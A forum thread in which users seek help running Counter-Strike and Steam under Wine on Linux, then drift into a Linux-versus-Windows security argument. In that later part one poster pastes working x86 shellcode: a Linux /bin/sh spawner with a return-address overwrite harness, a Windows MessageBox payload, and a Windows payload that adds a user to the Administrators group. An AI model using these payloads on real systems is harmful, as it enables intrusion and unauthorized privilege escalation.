Anybody ever use Wine for Linux? - Love Forum

Anybody ever use Wine for Linux? Wine is a program which allows Windows applications to be used on Linux, and I'm trying to get Counterstrike to run on it. Unfortunately I can't even figure out how to install Counterstrike. Any idea what I run in terminal to make this happen?

Your best bet would be LT (Zarathu) or Tiay (I think).

I found this, it may prove usefull.

Someone told me that Cedega is geared more for gaming while Wine is geared more for regular applications. So I'm going to give Cedega a try, maybe its interface will be different and easier to manipulate.

With Wine I don't think there's anything to "open." Someone told me I need to INSTALL Half Life through Wine. Go to the Terminal and type something like

Sudo apt-get install wine [setup.exe] or something like that. Setup.exe being the half life executable file.

I'll give Cedega a shot.

I tried that link, and everything went well until the very last step. I'm trying to install CS 1.6, and at the very end when I put the command line in to install it it paused for about 30 seconds then responded with "something updated, please retry command."

I just forget what that something was, but it was something to do with the terminal.

Unfortunatly, you are talking to me in riddles. Like I said, you should wait for Zarathu or Tiay to come online. I'm sure one of them will be able to help you out. Sorry I couldn't help you out further.

Yes, I'm familiar with Wine. However, Steam also comes with Linux installations--why do you need Wine? Also, what distro of Linux are you using?

Kiechi: Tiay doesn't know much about Linux.

Well, I was half right.

Also, depending on your distro, you might be able to use apt-get.

Code:

sudo apt-get update
sudo apt-get upgrade
sudo apt-cache search ***

Replace *** with what you're looking for.

Or, to make things easier...

Code:

sudo -s
apt-get update
apt-get upgrade
apt-cache search ***

I was wrong. I did get response. And via IM Zarathu helped. WOOOOOOOO

i dont get it. what are advantages you have to windows, when running a linux os?

#11 (**permalink**) 10-08-06, 04:16 PM

Linux has amazing features. Built-in port scanners, fingerprinters, etc... Also, you can get XGL with compiz, which gives you a 3D desktop rendered in OpenGL.

^^ XGL.

Though, from a security standpoint, it's much easier to be insecure with Linux than with Windows.

Uh, you're telling me Windows is more secure?...

Reason I'm posting is for the life of me I cannot get this font installed. I got steam to work with wine but there's a problem. At the login screen of steam, there's no text. The reason is there's no font tahoma installed. So I have the font file. I HAVE IT. I put it in my font folder as instructed. Still, I get the same issues.

How do I install this font? I've been to every google site and forum known to man. This is ridiculous installing a font is this hard...

Haha.. okay, you've got me started.

Yes, Windows is MUCH more than Linux, once everything is set up properly. Proper packages along with the proper service pack, you're all set. Let me explain.

It takes little shellcode to spawn shells and basically assrape Linux.

Code:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

Simple, basic shellcode. If you understand basic programming, you understand that variable ret's pointer points at the return address to the casting of the char array "shellcode." Simple as ****. However, in order to write Windows shellcode, things get a little more complicated.

Code:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax

All of that shit gets shrinked down to a bitter:

Code:

char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
		"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
		"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
		"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
		"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
		"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
		"\xff\x48\x65\x79\x4e";

That is, if you want to construct an exploit for an overflowable buffer, or a stack to smash. You can just compile an EXE and do the shit from there.

Code:

 char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
		"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
		"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
		"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
		"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
		"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
		"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
		"\x4e\x41\x4d\x45\x4e";

That's an example of shellcode that will add an administrative account.

But this is basic ASM, requiring a payload after an exploit is found and used.

Furthermore, you only have two different versions of Windows. You have win32 and win64, win64 being for the 64 bit platform. You have many versions of Linux, and you would think that this would allow people to focus more on writing Windows shellcode? Think again.

With all of the Linux operators on Intel x86 chips, along with AMD, etc... Plus, almost all servers that get hacked operate off of Linux. That's another reason you should use Windows applications. There are less of them that can get exploited when listening for a socket connection. FTP servers are a classic example. Google "ftp exploit," look at the OS the FTP server operates on, and you'll get my point.
